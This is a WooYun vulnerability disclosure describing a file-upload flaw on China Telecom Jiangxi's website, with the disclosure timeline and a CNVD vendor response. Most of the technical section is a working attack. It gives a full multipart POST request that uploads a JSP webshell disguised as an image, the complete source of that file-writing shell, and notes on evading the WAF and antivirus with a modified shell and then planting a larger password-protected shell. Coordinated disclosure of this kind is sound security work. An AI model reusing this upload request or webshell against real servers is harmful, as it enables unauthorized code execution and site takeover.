当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157138

漏洞标题:中国电信江西主站可被getshell过waf

相关厂商:中国电信

漏洞作者: 路人甲

提交时间:2015-11-30 20:36

修复时间:2016-01-18 11:24

公开时间:2016-01-18 11:24

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-30: 细节已通知厂商并且等待厂商处理中
2015-12-04: 厂商已经确认,细节仅向厂商公开
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

证明getshell

详细说明:

地址:http://**.**.**.**/res/active/4G/upload.jsp (需要登录) 上传漏洞 还装有安全软件 所以把我马子全杀了
但是 这都不是重点 重点是拿了免杀
先来个上传小马

POST http://**.**.**.**/AttachmentServlet?backUrl=/service/upload/img_upload.jsp HTTP/1.1
Host: **.**.**.**
Connection: keep-alive
Content-Length: 1912
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 QIHU 360EE
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytrI8QHebOAmXLH47
Referer: http://**.**.**.**/service/upload/img_upload.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: s_fid=7BC739F3593E85F7-08481DCFE53A3A4E; lvid=1d399cc664257927153a6c35ee4ff517; nvid=1; cityCode=bj; SHOPID_COOKIEID=10001; NETJSESSIONID1=mZB6WVKBzT2FHtMzJQsQHL2XKwXnptCVV6d8TGW5Hpwmnwz0DJvt!1311323526; _pk_ref.345.1592=%5B%22%22%2C%22%22%2C1448462879%2C%22https%3A%2F%2F**.**.**.**%2Flink%3Furl%3DAdVaFcKcHEIDY_dgfI7lFNi07sx14l5wvtP6LLBt1KfJf4ocSDar9jooSmBxFHkx4XLQLPYBXj_lg5viFvr1ya%26wd%3D%26eqid%3Df78656fa000104b7000000045655c9fe%22%2C%220%22%5D; Hm_lvt_4ae12616aa0a873fc63cbdccf4a2e47a=1448462879; Hm_lpvt_4ae12616aa0a873fc63cbdccf4a2e47a=1448462910; _pk_id.345.1592=c1efc092521c47e5.1448462879.1.1448462910.1448462879.; _pk_ses.345.1592=*
------WebKitFormBoundarytrI8QHebOAmXLH47
Content-Disposition: form-data; name="uploadFile"; filename="240.php"
Content-Type: image/jpeg
<%@page contentType="text/html; charset=GBK" import="**.**.**.**.*;"%>
<html>
<head>
<title>1</title>
</head>
<body bgcolor="#ffffff">
<%
String path=request.getParameter("path");
String content=request.getParameter("content");
String url=request.getRequestURI();
String relativeurl=url.substring(url.indexOf('/',1));
String absolutepath=application.getRealPath(relativeurl);
if (path!=null && !path.equals("") && content!=null && !content.equals(""))
{
try{
File newfile=new File(path);
PrintWriter writer=new PrintWriter(newfile);
writer.println(content);
writer.close();
if (newfile.exists() && newfile.length()>0)
{
out.println("<font size=3 color=red>1!</font>");
}else{
out.println("<font size=3 color=red>2!</font>");
}
}catch(Exception e)
{
e.printStackTrace();
}
}
out.println("<form action="+url+" method=post>");
out.println("<font size=3>1:<br></font><input type=text size=54 name='path'><br>");
out.println("<font size=3 color=red>1"+absolutepath+"</font><br>");
out.println("<textarea name='content' rows=15 cols=100></textarea><br>");
out.println("<input type='submit' value='1!'>");
out.println("</form>");
%>
</body>
</html>
------WebKitFormBoundarytrI8QHebOAmXLH47
Content-Disposition: form-data; name="fileName"
240.jsp
------WebKitFormBoundarytrI8QHebOAmXLH47
Content-Disposition: form-data; name="filePath"
C:\fakepath\240.jpg
------WebKitFormBoundarytrI8QHebOAmXLH47
Content-Disposition: form-data; name="comments"
240.jpg
------WebKitFormBoundarytrI8QHebOAmXLH47
Content-Disposition: form-data; name="rela_no"
content
------WebKitFormBoundarytrI8QHebOAmXLH47--


小马地址:http://**.**.**.**/temp/res/upload/20151125/images/20151125231655.jsp
这里需要注意的是 小马获取的地址是假地址 还好上传的时候返回了真实地址
/home/weblogic/Oracle/Middleware/wssnet/temp/res/upload/20151125/images/

1111.png

2222.png


上传大马 也要找个免杀马
http://**.**.**.**/temp/res/upload/20151125/images/55.jsp 密码 123

3333.png


到了这里就不深入了 我怕被打 万一开发来我家打我怎么办

漏洞证明:

以证明

修复方案:

验证上传文件

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-12-04 11:13

厂商回复:

CNVD确认所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置。

最新状态:

暂无